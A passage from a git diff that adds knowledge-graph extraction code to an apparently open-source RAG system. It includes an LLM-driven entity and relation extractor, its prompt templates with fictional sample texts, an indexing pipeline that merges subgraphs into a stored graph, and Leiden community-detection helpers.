"<|COMPLETE|>" + + +@dataclass +class GraphExtractionResult: + """Unipartite graph extraction result class definition.""" + + output: nx.Graph + source_docs: dict[Any, Any] + + +class GraphExtractor(Extractor): + """Unipartite graph extractor class definition.""" + + _join_descriptions: bool + _tuple_delimiter_key: str + _record_delimiter_key: str + _entity_types_key: str + _input_text_key: str + _completion_delimiter_key: str + _entity_name_key: str + _input_descriptions_key: str + _extraction_prompt: str + _summarization_prompt: str + _loop_args: dict[str, Any] + _max_gleanings: int + _on_error: ErrorHandlerFn + + def __init__( + self, + llm_invoker: CompletionLLM, + language: str | None = "English", + entity_types: list[str] | None = None, + tuple_delimiter_key: str | None = None, + record_delimiter_key: str | None = None, + input_text_key: str | None = None, + entity_types_key: str | None = None, + completion_delimiter_key: str | None = None, + join_descriptions=True, + max_gleanings: int | None = None, + on_error: ErrorHandlerFn | None = None, + ): + super().__init__(llm_invoker, language, entity_types) + """Init method definition.""" + # TODO: streamline construction + self._llm = llm_invoker + self._join_descriptions = join_descriptions + self._input_text_key = input_text_key or "input_text" + self._tuple_delimiter_key = tuple_delimiter_key or "tuple_delimiter" + self._record_delimiter_key = record_delimiter_key or "record_delimiter" + self._completion_delimiter_key = ( + completion_delimiter_key or "completion_delimiter" + ) + self._entity_types_key = entity_types_key or "entity_types" + self._extraction_prompt = GRAPH_EXTRACTION_PROMPT + self._max_gleanings = ( + max_gleanings + if max_gleanings is not None + else ENTITY_EXTRACTION_MAX_GLEANINGS + ) + self._on_error = on_error or (lambda _e, _s, _d: None) + self.prompt_token_count = num_tokens_from_string(self._extraction_prompt) + + # Construct the looping arguments + encoding = tiktoken.get_encoding("cl100k_base") + yes = encoding.encode("YES") + no = encoding.encode("NO") + self._loop_args = {"logit_bias": {yes[0]: 100, no[0]: 100}, "max_tokens": 1} + + # Wire defaults into the prompt variables + self._prompt_variables = { + self._tuple_delimiter_key: DEFAULT_TUPLE_DELIMITER, + self._record_delimiter_key: DEFAULT_RECORD_DELIMITER, + self._completion_delimiter_key: DEFAULT_COMPLETION_DELIMITER, + self._entity_types_key: ",".join(entity_types), + } + + async def _process_single_content(self, chunk_key_dp: tuple[str, str], chunk_seq: int, num_chunks: int, out_results): + token_count = 0 + chunk_key = chunk_key_dp[0] + content = chunk_key_dp[1] + variables = { + **self._prompt_variables, + self._input_text_key: content, + } + hint_prompt = perform_variable_replacements(self._extraction_prompt, variables=variables) + async with chat_limiter: + response = await trio.to_thread.run_sync(lambda: self._chat(hint_prompt, [{"role": "user", "content": "Output:"}], {})) + token_count += num_tokens_from_string(hint_prompt + response) + + results = response or "" + history = [{"role": "system", "content": hint_prompt}, {"role": "user", "content": response}] + + # Repeat to ensure we maximize entity count + for i in range(self._max_gleanings): + history.append({"role": "user", "content": CONTINUE_PROMPT}) + async with chat_limiter: + response = await trio.to_thread.run_sync(lambda: self._chat("", history, {})) + token_count += num_tokens_from_string("\n".join([m["content"] for m in history]) + response) + results += response or "" + + # if this is the final glean, don't bother updating the continuation flag + if i >= self._max_gleanings - 1: + break + history.append({"role": "assistant", "content": response}) + history.append({"role": "user", "content": LOOP_PROMPT}) + async with chat_limiter: + continuation = await trio.to_thread.run_sync(lambda: self._chat("", history)) + token_count += num_tokens_from_string("\n".join([m["content"] for m in history]) + response) + if continuation != "Y": + break + history.append({"role": "assistant", "content": "Y"}) + + records = split_string_by_multi_markers( + results, + [self._prompt_variables[self._record_delimiter_key], self._prompt_variables[self._completion_delimiter_key]], + ) + rcds = [] + for record in records: + record = re.search(r"\((.*)\)", record) + if record is None: + continue + rcds.append(record.group(1)) + records = rcds + maybe_nodes, maybe_edges = self._entities_and_relations(chunk_key, records, self._prompt_variables[self._tuple_delimiter_key]) + out_results.append((maybe_nodes, maybe_edges, token_count)) + if self.callback: + self.callback(0.5+0.1*len(out_results)/num_chunks, msg = f"Entities extraction of chunk {chunk_seq} {len(out_results)}/{num_chunks} done, {len(maybe_nodes)} nodes, {len(maybe_edges)} edges, {token_count} tokens.") diff --git a/graphrag/general/graph_prompt.py b/graphrag/general/graph_prompt.py new file mode 100644 index 0000000..54ca3a1 --- /dev/null +++ b/graphrag/general/graph_prompt.py @@ -0,0 +1,124 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [GraphRAG](https://github.com/microsoft/graphrag/blob/main/graphrag/prompts/index/extract_graph.py) +""" + +GRAPH_EXTRACTION_PROMPT = """ +-Goal- +Given a text document that is potentially relevant to this activity and a list of entity types, identify all entities of those types from the text and all relationships among the identified entities. + +-Steps- +1. Identify all entities. For each identified entity, extract the following information: +- entity_name: Name of the entity, capitalized, in language of 'Text' +- entity_type: One of the following types: [{entity_types}] +- entity_description: Comprehensive description of the entity's attributes and activities in language of 'Text' +Format each entity as ("entity"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter} + +2. From the entities identified in step 1, identify all pairs of (source_entity, target_entity) that are *clearly related* to each other. +For each pair of related entities, extract the following information: +- source_entity: name of the source entity, as identified in step 1 +- target_entity: name of the target entity, as identified in step 1 +- relationship_description: explanation as to why you think the source entity and the target entity are related to each other in language of 'Text' +- relationship_strength: a numeric score indicating strength of the relationship between the source entity and target entity + Format each relationship as ("relationship"{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}{tuple_delimiter}) + +3. Return output as a single list of all the entities and relationships identified in steps 1 and 2. Use **{record_delimiter}** as the list delimiter. + +4. When finished, output {completion_delimiter} + +###################### +-Examples- +###################### +Example 1: + +Entity_types: [person, technology, mission, organization, location] +Text: +while Alex clenched his jaw, the buzz of frustration dull against the backdrop of Taylor's authoritarian certainty. It was this competitive undercurrent that kept him alert, the sense that his and Jordan's shared commitment to discovery was an unspoken rebellion against Cruz's narrowing vision of control and order. + +Then Taylor did something unexpected. They paused beside Jordan and, for a moment, observed the device with something akin to reverence. “If this tech can be understood..." Taylor said, their voice quieter, "It could change the game for us. For all of us.” + +The underlying dismissal earlier seemed to falter, replaced by a glimpse of reluctant respect for the gravity of what lay in their hands. Jordan looked up, and for a fleeting heartbeat, their eyes locked with Taylor's, a wordless clash of wills softening into an uneasy truce. + +It was a small transformation, barely perceptible, but one that Alex noted with an inward nod. They had all been brought here by different paths +################ +Output: +("entity"{tuple_delimiter}"Alex"{tuple_delimiter}"person"{tuple_delimiter}"Alex is a character who experiences frustration and is observant of the dynamics among other characters."){record_delimiter} +("entity"{tuple_delimiter}"Taylor"{tuple_delimiter}"person"{tuple_delimiter}"Taylor is portrayed with authoritarian certainty and shows a moment of reverence towards a device, indicating a change in perspective."){record_delimiter} +("entity"{tuple_delimiter}"Jordan"{tuple_delimiter}"person"{tuple_delimiter}"Jordan shares a commitment to discovery and has a significant interaction with Taylor regarding a device."){record_delimiter} +("entity"{tuple_delimiter}"Cruz"{tuple_delimiter}"person"{tuple_delimiter}"Cruz is associated with a vision of control and order, influencing the dynamics among other characters."){record_delimiter} +("entity"{tuple_delimiter}"The Device"{tuple_delimiter}"technology"{tuple_delimiter}"The Device is central to the story, with potential game-changing implications, and is revered by Taylor."){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"Taylor"{tuple_delimiter}"Alex is affected by Taylor's authoritarian certainty and observes changes in Taylor's attitude towards the device."{tuple_delimiter}7){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"Jordan"{tuple_delimiter}"Alex and Jordan share a commitment to discovery, which contrasts with Cruz's vision."{tuple_delimiter}6){record_delimiter} +("relationship"{tuple_delimiter}"Taylor"{tuple_delimiter}"Jordan"{tuple_delimiter}"Taylor and Jordan interact directly regarding the device, leading to a moment of mutual respect and an uneasy truce."{tuple_delimiter}8){record_delimiter} +("relationship"{tuple_delimiter}"Jordan"{tuple_delimiter}"Cruz"{tuple_delimiter}"Jordan's commitment to discovery is in rebellion against Cruz's vision of control and order."{tuple_delimiter}5){record_delimiter} +("relationship"{tuple_delimiter}"Taylor"{tuple_delimiter}"The Device"{tuple_delimiter}"Taylor shows reverence towards the device, indicating its importance and potential impact."{tuple_delimiter}9){completion_delimiter} +############################# +Example 2: + +Entity_types: [person, technology, mission, organization, location] +Text: +They were no longer mere operatives; they had become guardians of a threshold, keepers of a message from a realm beyond stars and stripes. This elevation in their mission could not be shackled by regulations and established protocols—it demanded a new perspective, a new resolve. + +Tension threaded through the dialogue of beeps and static as communications with Washington buzzed in the background. The team stood, a portentous air enveloping them. It was clear that the decisions they made in the ensuing hours could redefine humanity's place in the cosmos or condemn them to ignorance and potential peril. + +Their connection to the stars solidified, the group moved to address the crystallizing warning, shifting from passive recipients to active participants. Mercer's latter instincts gained precedence— the team's mandate had evolved, no longer solely to observe and report but to interact and prepare. A metamorphosis had begun, and Operation: Dulce hummed with the newfound frequency of their daring, a tone set not by the earthly +############# +Output: +("entity"{tuple_delimiter}"Washington"{tuple_delimiter}"location"{tuple_delimiter}"Washington is a location where communications are being received, indicating its importance in the decision-making process."){record_delimiter} +("entity"{tuple_delimiter}"Operation: Dulce"{tuple_delimiter}"mission"{tuple_delimiter}"Operation: Dulce is described as a mission that has evolved to interact and prepare, indicating a significant shift in objectives and activities."){record_delimiter} +("entity"{tuple_delimiter}"The team"{tuple_delimiter}"organization"{tuple_delimiter}"The team is portrayed as a group of individuals who have transitioned from passive observers to active participants in a mission, showing a dynamic change in their role."){record_delimiter} +("relationship"{tuple_delimiter}"The team"{tuple_delimiter}"Washington"{tuple_delimiter}"The team receives communications from Washington, which influences their decision-making process."{tuple_delimiter}7){record_delimiter} +("relationship"{tuple_delimiter}"The team"{tuple_delimiter}"Operation: Dulce"{tuple_delimiter}"The team is directly involved in Operation: Dulce, executing its evolved objectives and activities."{tuple_delimiter}9){completion_delimiter} +############################# +Example 3: + +Entity_types: [person, role, technology, organization, event, location, concept] +Text: +their voice slicing through the buzz of activity. "Control may be an illusion when facing an intelligence that literally writes its own rules," they stated stoically, casting a watchful eye over the flurry of data. + +"It's like it's learning to communicate," offered Sam Rivera from a nearby interface, their youthful energy boding a mix of awe and anxiety. "This gives talking to strangers' a whole new meaning." + +Alex surveyed his team—each face a study in concentration, determination, and not a small measure of trepidation. "This might well be our first contact," he acknowledged, "And we need to be ready for whatever answers back." + +Together, they stood on the edge of the unknown, forging humanity's response to a message from the heavens. The ensuing silence was palpable—a collective introspection about their role in this grand cosmic play, one that could rewrite human history. + +The encrypted dialogue continued to unfold, its intricate patterns showing an almost uncanny anticipation +############# +Output: +("entity"{tuple_delimiter}"Sam Rivera"{tuple_delimiter}"person"{tuple_delimiter}"Sam Rivera is a member of a team working on communicating with an unknown intelligence, showing a mix of awe and anxiety."){record_delimiter} +("entity"{tuple_delimiter}"Alex"{tuple_delimiter}"person"{tuple_delimiter}"Alex is the leader of a team attempting first contact with an unknown intelligence, acknowledging the significance of their task."){record_delimiter} +("entity"{tuple_delimiter}"Control"{tuple_delimiter}"concept"{tuple_delimiter}"Control refers to the ability to manage or govern, which is challenged by an intelligence that writes its own rules."){record_delimiter} +("entity"{tuple_delimiter}"Intelligence"{tuple_delimiter}"concept"{tuple_delimiter}"Intelligence here refers to an unknown entity capable of writing its own rules and learning to communicate."){record_delimiter} +("entity"{tuple_delimiter}"First Contact"{tuple_delimiter}"event"{tuple_delimiter}"First Contact is the potential initial communication between humanity and an unknown intelligence."){record_delimiter} +("entity"{tuple_delimiter}"Humanity's Response"{tuple_delimiter}"event"{tuple_delimiter}"Humanity's Response is the collective action taken by Alex's team in response to a message from an unknown intelligence."){record_delimiter} +("relationship"{tuple_delimiter}"Sam Rivera"{tuple_delimiter}"Intelligence"{tuple_delimiter}"Sam Rivera is directly involved in the process of learning to communicate with the unknown intelligence."{tuple_delimiter}9){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"First Contact"{tuple_delimiter}"Alex leads the team that might be making the First Contact with the unknown intelligence."{tuple_delimiter}10){record_delimiter} +("relationship"{tuple_delimiter}"Alex"{tuple_delimiter}"Humanity's Response"{tuple_delimiter}"Alex and his team are the key figures in Humanity's Response to the unknown intelligence."{tuple_delimiter}8){record_delimiter} +("relationship"{tuple_delimiter}"Control"{tuple_delimiter}"Intelligence"{tuple_delimiter}"The concept of Control is challenged by the Intelligence that writes its own rules."{tuple_delimiter}7){completion_delimiter} +############################# +-Real Data- +###################### +Entity_types: {entity_types} +Text: {input_text} +###################### +Output:""" + +CONTINUE_PROMPT = "MANY entities were missed in the last extraction. Add them below using the same format:\n" +LOOP_PROMPT = "It appears some entities may have still been missed. Answer Y if there are still entities that need to be added, or N if there are none. Please answer with a single letter Y or N.\n" + +SUMMARIZE_DESCRIPTIONS_PROMPT = """ +You are a helpful assistant responsible for generating a comprehensive summary of the data provided below. +Given one or two entities, and a list of descriptions, all related to the same entity or group of entities. +Please concatenate all of these into a single, comprehensive description. Make sure to include information collected from all the descriptions. +If the provided descriptions are contradictory, please resolve the contradictions and provide a single, coherent summary. +Make sure it is written in third person, and include the entity names so we the have full context. +Use {language} as output language. + +####### +-Data- +Entities: {entity_name} +Description List: {description_list} +####### +""" \ No newline at end of file diff --git a/graphrag/general/index.py b/graphrag/general/index.py new file mode 100644 index 0000000..6d0df65 --- /dev/null +++ b/graphrag/general/index.py @@ -0,0 +1,514 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import os + +import networkx as nx +import trio + +from api import settings +from api.db.services.document_service import DocumentService +from api.utils import get_uuid +from api.utils.api_utils import timeout +from graphrag.entity_resolution import EntityResolution +from graphrag.general.community_reports_extractor import CommunityReportsExtractor +from graphrag.general.extractor import Extractor +from graphrag.general.graph_extractor import GraphExtractor as GeneralKGExt +from graphrag.light.graph_extractor import GraphExtractor as LightKGExt +from graphrag.utils import ( + GraphChange, + chunk_id, + does_graph_contains, + get_graph, + graph_merge, + set_graph, + tidy_graph, +) +from rag.nlp import rag_tokenizer, search +from rag.utils.redis_conn import RedisDistributedLock + + +async def run_graphrag( + row: dict, + language, + with_resolution: bool, + with_community: bool, + chat_model, + embedding_model, + callback, +): + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + start = trio.current_time() + tenant_id, kb_id, doc_id = row["tenant_id"], str(row["kb_id"]), row["doc_id"] + chunks = [] + for d in settings.retrievaler.chunk_list(doc_id, tenant_id, [kb_id], fields=["content_with_weight", "doc_id"], sort_by_position=True): + chunks.append(d["content_with_weight"]) + + with trio.fail_after(max(120, len(chunks) * 60 * 10) if enable_timeout_assertion else 10000000000): + subgraph = await generate_subgraph( + LightKGExt if "method" not in row["kb_parser_config"].get("graphrag", {}) or row["kb_parser_config"]["graphrag"]["method"] != "general" else GeneralKGExt, + tenant_id, + kb_id, + doc_id, + chunks, + language, + row["kb_parser_config"]["graphrag"].get("entity_types", []), + chat_model, + embedding_model, + callback, + ) + + if not subgraph: + return + + graphrag_task_lock = RedisDistributedLock(f"graphrag_task_{kb_id}", lock_value=doc_id, timeout=1200) + await graphrag_task_lock.spin_acquire() + callback(msg=f"run_graphrag {doc_id} graphrag_task_lock acquired") + + try: + subgraph_nodes = set(subgraph.nodes()) + new_graph = await merge_subgraph( + tenant_id, + kb_id, + doc_id, + subgraph, + embedding_model, + callback, + ) + assert new_graph is not None + + if not with_resolution and not with_community: + return + + if with_resolution: + await graphrag_task_lock.spin_acquire() + callback(msg=f"run_graphrag {doc_id} graphrag_task_lock acquired") + await resolve_entities( + new_graph, + subgraph_nodes, + tenant_id, + kb_id, + doc_id, + chat_model, + embedding_model, + callback, + ) + if with_community: + await graphrag_task_lock.spin_acquire() + callback(msg=f"run_graphrag {doc_id} graphrag_task_lock acquired") + await extract_community( + new_graph, + tenant_id, + kb_id, + doc_id, + chat_model, + embedding_model, + callback, + ) + finally: + graphrag_task_lock.release() + now = trio.current_time() + callback(msg=f"GraphRAG for doc {doc_id} done in {now - start:.2f} seconds.") + return + + +async def run_graphrag_for_kb( + row: dict, + doc_ids: list[str], + language: str, + kb_parser_config: dict, + chat_model, + embedding_model, + callback, + *, + with_resolution: bool = True, + with_community: bool = True, + max_parallel_docs: int = 4, +) -> dict: + tenant_id, kb_id = row["tenant_id"], row["kb_id"] + enable_timeout_assertion = os.environ.get("ENABLE_TIMEOUT_ASSERTION") + start = trio.current_time() + fields_for_chunks = ["content_with_weight", "doc_id"] + + if not doc_ids: + logging.info(f"Fetching all docs for {kb_id}") + docs, _ = DocumentService.get_by_kb_id( + kb_id=kb_id, + page_number=0, + items_per_page=0, + orderby="create_time", + desc=False, + keywords="", + run_status=[], + types=[], + suffix=[], + ) + doc_ids = [doc["id"] for doc in docs] + + doc_ids = list(dict.fromkeys(doc_ids)) + if not doc_ids: + callback(msg=f"[GraphRAG] kb:{kb_id} has no processable doc_id.") + return {"ok_docs": [], "failed_docs": [], "total_docs": 0, "total_chunks": 0, "seconds": 0.0} + + def load_doc_chunks(doc_id: str) -> list[str]: + from rag.utils import num_tokens_from_string + + chunks = [] + current_chunk = "" + + for d in settings.retrievaler.chunk_list( + doc_id, + tenant_id, + [kb_id], + fields=fields_for_chunks, + sort_by_position=True, + ): + content = d["content_with_weight"] + if num_tokens_from_string(current_chunk + content) < 1024: + current_chunk += content + else: + if current_chunk: + chunks.append(current_chunk) + current_chunk = content + + if current_chunk: + chunks.append(current_chunk) + + return chunks + + all_doc_chunks: dict[str, list[str]] = {} + total_chunks = 0 + for doc_id in doc_ids: + chunks = load_doc_chunks(doc_id) + all_doc_chunks[doc_id] = chunks + total_chunks += len(chunks) + + if total_chunks == 0: + callback(msg=f"[GraphRAG] kb:{kb_id} has no available chunks in all documents, skip.") + return {"ok_docs": [], "failed_docs": doc_ids, "total_docs": len(doc_ids), "total_chunks": 0, "seconds": 0.0} + + semaphore = trio.Semaphore(max_parallel_docs) + + subgraphs: dict[str, object] = {} + failed_docs: list[tuple[str, str]] = [] # (doc_id, error) + + async def build_one(doc_id: str): + chunks = all_doc_chunks.get(doc_id, []) + if not chunks: + callback(msg=f"[GraphRAG] doc:{doc_id} has no available chunks, skip generation.") + return + + kg_extractor = LightKGExt if ("method" not in kb_parser_config.get("graphrag", {}) or kb_parser_config["graphrag"]["method"] != "general") else GeneralKGExt + + deadline = max(120, len(chunks) * 60 * 10) if enable_timeout_assertion else 10000000000 + + async with semaphore: + try: + msg = f"[GraphRAG] build_subgraph doc:{doc_id}" + callback(msg=f"{msg} start (chunks={len(chunks)}, timeout={deadline}s)") + with trio.fail_after(deadline): + sg = await generate_subgraph( + kg_extractor, + tenant_id, + kb_id, + doc_id, + chunks, + language, + kb_parser_config.get("graphrag", {}).get("entity_types", []), + chat_model, + embedding_model, + callback, + ) + if sg: + subgraphs[doc_id] = sg + callback(msg=f"{msg} done") + else: + failed_docs.append((doc_id, "subgraph is empty")) + callback(msg=f"{msg} empty") + except Exception as e: + failed_docs.append((doc_id, repr(e))) + callback(msg=f"[GraphRAG] build_subgraph doc:{doc_id} FAILED: {e!r}") + + async with trio.open_nursery() as nursery: + for doc_id in doc_ids: + nursery.start_soon(build_one, doc_id) + + ok_docs = [d for d in doc_ids if d in subgraphs] + if not ok_docs: + callback(msg=f"[GraphRAG] kb:{kb_id} no subgraphs generated successfully, end.") + now = trio.current_time() + return {"ok_docs": [], "failed_docs": failed_docs, "total_docs": len(doc_ids), "total_chunks": total_chunks, "seconds": now - start} + + kb_lock = RedisDistributedLock(f"graphrag_task_{kb_id}", lock_value="batch_merge", timeout=1200) + await kb_lock.spin_acquire() + callback(msg=f"[GraphRAG] kb:{kb_id} merge lock acquired") + + try: + union_nodes: set = set() + final_graph = None + + for doc_id in ok_docs: + sg = subgraphs[doc_id] + union_nodes.update(set(sg.nodes())) + + new_graph = await merge_subgraph( + tenant_id, + kb_id, + doc_id, + sg, + embedding_model, + callback, + ) + if new_graph is not None: + final_graph = new_graph + + if final_graph is None: + callback(msg=f"[GraphRAG] kb:{kb_id} merge finished (no in-memory graph returned).") + else: + callback(msg=f"[GraphRAG] kb:{kb_id} merge finished, graph ready.") + finally: + kb_lock.release() + + if not with_resolution and not with_community: + now = trio.current_time() + callback(msg=f"[GraphRAG] KB merge done in {now - start:.2f}s. ok={len(ok_docs)} / total={len(doc_ids)}") + return {"ok_docs": ok_docs, "failed_docs": failed_docs, "total_docs": len(doc_ids), "total_chunks": total_chunks, "seconds": now - start} + + await kb_lock.spin_acquire() + callback(msg=f"[GraphRAG] kb:{kb_id} post-merge lock acquired for resolution/community") + + try: + subgraph_nodes = set() + for sg in subgraphs.values(): + subgraph_nodes.update(set(sg.nodes())) + + if with_resolution: + await resolve_entities( + final_graph, + subgraph_nodes, + tenant_id, + kb_id, + None, + chat_model, + embedding_model, + callback, + ) + + if with_community: + await extract_community( + final_graph, + tenant_id, + kb_id, + None, + chat_model, + embedding_model, + callback, + ) + finally: + kb_lock.release() + + now = trio.current_time() + callback(msg=f"[GraphRAG] GraphRAG for KB {kb_id} done in {now - start:.2f} seconds. ok={len(ok_docs)} failed={len(failed_docs)} total_docs={len(doc_ids)} total_chunks={total_chunks}") + return { + "ok_docs": ok_docs, + "failed_docs": failed_docs, # [(doc_id, error), ...] + "total_docs": len(doc_ids), + "total_chunks": total_chunks, + "seconds": now - start, + } + + +async def generate_subgraph( + extractor: Extractor, + tenant_id: str, + kb_id: str, + doc_id: str, + chunks: list[str], + language, + entity_types, + llm_bdl, + embed_bdl, + callback, +): + contains = await does_graph_contains(tenant_id, kb_id, doc_id) + if contains: + callback(msg=f"Graph already contains {doc_id}") + return None + start = trio.current_time() + ext = extractor( + llm_bdl, + language=language, + entity_types=entity_types, + ) + ents, rels = await ext(doc_id, chunks, callback) + subgraph = nx.Graph() + for ent in ents: + assert "description" in ent, f"entity {ent} does not have description" + ent["source_id"] = [doc_id] + subgraph.add_node(ent["entity_name"], **ent) + + ignored_rels = 0 + for rel in rels: + assert "description" in rel, f"relation {rel} does not have description" + if not subgraph.has_node(rel["src_id"]) or not subgraph.has_node(rel["tgt_id"]): + ignored_rels += 1 + continue + rel["source_id"] = [doc_id] + subgraph.add_edge( + rel["src_id"], + rel["tgt_id"], + **rel, + ) + if ignored_rels: + callback(msg=f"ignored {ignored_rels} relations due to missing entities.") + tidy_graph(subgraph, callback, check_attribute=False) + + subgraph.graph["source_id"] = [doc_id] + chunk = { + "content_with_weight": json.dumps(nx.node_link_data(subgraph, edges="edges"), ensure_ascii=False), + "knowledge_graph_kwd": "subgraph", + "kb_id": kb_id, + "source_id": [doc_id], + "available_int": 0, + "removed_kwd": "N", + } + cid = chunk_id(chunk) + await trio.to_thread.run_sync(settings.docStoreConn.delete, {"knowledge_graph_kwd": "subgraph", "source_id": doc_id}, search.index_name(tenant_id), kb_id) + await trio.to_thread.run_sync(settings.docStoreConn.insert, [{"id": cid, **chunk}], search.index_name(tenant_id), kb_id) + now = trio.current_time() + callback(msg=f"generated subgraph for doc {doc_id} in {now - start:.2f} seconds.") + return subgraph + + +@timeout(60 * 3) +async def merge_subgraph( + tenant_id: str, + kb_id: str, + doc_id: str, + subgraph: nx.Graph, + embedding_model, + callback, +): + start = trio.current_time() + change = GraphChange() + old_graph = await get_graph(tenant_id, kb_id, subgraph.graph["source_id"]) + if old_graph is not None: + logging.info("Merge with an exiting graph...................") + tidy_graph(old_graph, callback) + new_graph = graph_merge(old_graph, subgraph, change) + else: + new_graph = subgraph + change.added_updated_nodes = set(new_graph.nodes()) + change.added_updated_edges = set(new_graph.edges()) + pr = nx.pagerank(new_graph) + for node_name, pagerank in pr.items(): + new_graph.nodes[node_name]["pagerank"] = pagerank + + await set_graph(tenant_id, kb_id, embedding_model, new_graph, change, callback) + now = trio.current_time() + callback(msg=f"merging subgraph for doc {doc_id} into the global graph done in {now - start:.2f} seconds.") + return new_graph + + +@timeout(60 * 30, 1) +async def resolve_entities( + graph, + subgraph_nodes: set[str], + tenant_id: str, + kb_id: str, + doc_id: str, + llm_bdl, + embed_bdl, + callback, +): + start = trio.current_time() + er = EntityResolution( + llm_bdl, + ) + reso = await er(graph, subgraph_nodes, callback=callback) + graph = reso.graph + change = reso.change + callback(msg=f"Graph resolution removed {len(change.removed_nodes)} nodes and {len(change.removed_edges)} edges.") + callback(msg="Graph resolution updated pagerank.") + + await set_graph(tenant_id, kb_id, embed_bdl, graph, change, callback) + now = trio.current_time() + callback(msg=f"Graph resolution done in {now - start:.2f}s.") + + +@timeout(60 * 30, 1) +async def extract_community( + graph, + tenant_id: str, + kb_id: str, + doc_id: str, + llm_bdl, + embed_bdl, + callback, +): + start = trio.current_time() + ext = CommunityReportsExtractor( + llm_bdl, + ) + cr = await ext(graph, callback=callback) + community_structure = cr.structured_output + community_reports = cr.output + doc_ids = graph.graph["source_id"] + + now = trio.current_time() + callback(msg=f"Graph extracted {len(cr.structured_output)} communities in {now - start:.2f}s.") + start = now + chunks = [] + for stru, rep in zip(community_structure, community_reports): + obj = { + "report": rep, + "evidences": "\n".join([f.get("explanation", "") for f in stru["findings"]]), + } + chunk = { + "id": get_uuid(), + "docnm_kwd": stru["title"], + "title_tks": rag_tokenizer.tokenize(stru["title"]), + "content_with_weight": json.dumps(obj, ensure_ascii=False), + "content_ltks": rag_tokenizer.tokenize(obj["report"] + " " + obj["evidences"]), + "knowledge_graph_kwd": "community_report", + "weight_flt": stru["weight"], + "entities_kwd": stru["entities"], + "important_kwd": stru["entities"], + "kb_id": kb_id, + "source_id": list(doc_ids), + "available_int": 0, + } + chunk["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(chunk["content_ltks"]) + chunks.append(chunk) + + await trio.to_thread.run_sync( + lambda: settings.docStoreConn.delete( + {"knowledge_graph_kwd": "community_report", "kb_id": kb_id}, + search.index_name(tenant_id), + kb_id, + ) + ) + es_bulk_size = 4 + for b in range(0, len(chunks), es_bulk_size): + doc_store_result = await trio.to_thread.run_sync(lambda: settings.docStoreConn.insert(chunks[b : b + es_bulk_size], search.index_name(tenant_id), kb_id)) + if doc_store_result: + error_message = f"Insert chunk error: {doc_store_result}, please check log file and Elasticsearch/Infinity status!" + raise Exception(error_message) + + now = trio.current_time() + callback(msg=f"Graph indexed {len(cr.structured_output)} communities in {now - start:.2f}s.") + return community_structure, community_reports diff --git a/graphrag/general/leiden.py b/graphrag/general/leiden.py new file mode 100644 index 0000000..b859e7e --- /dev/null +++ b/graphrag/general/leiden.py @@ -0,0 +1,149 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) +""" + +import logging +import html +from typing import Any, cast +from graspologic.partition import hierarchical_leiden +from graspologic.utils import largest_connected_component +import networkx as nx +from networkx import is_empty + + +def _stabilize_graph(graph: nx.Graph) -> nx.Graph: + """Ensure an undirected graph with the same relationships will always be read the same way.""" + fixed_graph = nx.DiGraph() if graph.is_directed() else nx.Graph() + + sorted_nodes = graph.nodes(data=True) + sorted_nodes = sorted(sorted_nodes, key=lambda x: x[0]) + + fixed_graph.add_nodes_from(sorted_nodes) + edges = list(graph.edges(data=True)) + + # If the graph is undirected, we create the edges in a stable way, so we get the same results + # for example: + # A -> B + # in graph theory is the same as + # B -> A + # in an undirected graph + # however, this can lead to downstream issues because sometimes + # consumers read graph.nodes() which ends up being [A, B] and sometimes it's [B, A] + # but they base some of their logic on the order of the nodes, so the order ends up being important + # so we sort the nodes in the edge in a stable way, so that we always get the same order + if not graph.is_directed(): + + def _sort_source_target(edge): + source, target, edge_data = edge + if source > target: + temp = source + source = target + target = temp + return source, target, edge_data + + edges = [_sort_source_target(edge) for edge in edges] + + def _get_edge_key(source: Any, target: Any) -> str: + return f"{source} -> {target}" + + edges = sorted(edges, key=lambda x: _get_edge_key(x[0], x[1])) + + fixed_graph.add_edges_from(edges) + return fixed_graph + + +def normalize_node_names(graph: nx.Graph | nx.DiGraph) -> nx.Graph | nx.DiGraph: + """Normalize node names.""" + node_mapping = {node: html.unescape(node.upper().strip()) for node in graph.nodes()} # type: ignore + return nx.relabel_nodes(graph, node_mapping) + + +def stable_largest_connected_component(graph: nx.Graph) -> nx.Graph: + """Return the largest connected component of the graph, with nodes and edges sorted in a stable way.""" + graph = graph.copy() + graph = cast(nx.Graph, largest_connected_component(graph)) + graph = normalize_node_names(graph) + return _stabilize_graph(graph) + + +def _compute_leiden_communities( + graph: nx.Graph | nx.DiGraph, + max_cluster_size: int, + use_lcc: bool, + seed=0xDEADBEEF, +) -> dict[int, dict[str, int]]: + """Return Leiden root communities.""" + results: dict[int, dict[str, int]] = {} + if is_empty(graph): + return results + if use_lcc: + graph = stable_largest_connected_component(graph) + + community_mapping = hierarchical_leiden( + graph, max_cluster_size=max_cluster_size, random_seed=seed + ) + for partition in community_mapping: + results[partition.level] = results.get(partition.level, {}) + results[partition.level][partition.node] = partition.cluster + + return results + + +def run(graph: nx.Graph, args: dict[str, Any]) -> dict[int, dict[str, dict]]: + """Run method definition.""" + max_cluster_size = args.get("max_cluster_size", 12) + use_lcc = args.get("use_lcc", True) + if args.get("verbose", False): + logging.debug( + "Running leiden with max_cluster_size=%s, lcc=%s", max_cluster_size, use_lcc + ) + nodes = set(graph.nodes()) + if not nodes: + return {} + + node_id_to_community_map = _compute_leiden_communities( + graph=graph, + max_cluster_size=max_cluster_size, + use_lcc=use_lcc, + seed=args.get("seed", 0xDEADBEEF), + ) + levels = args.get("levels") + + # If they don't pass in levels, use them all + if levels is None: + levels = 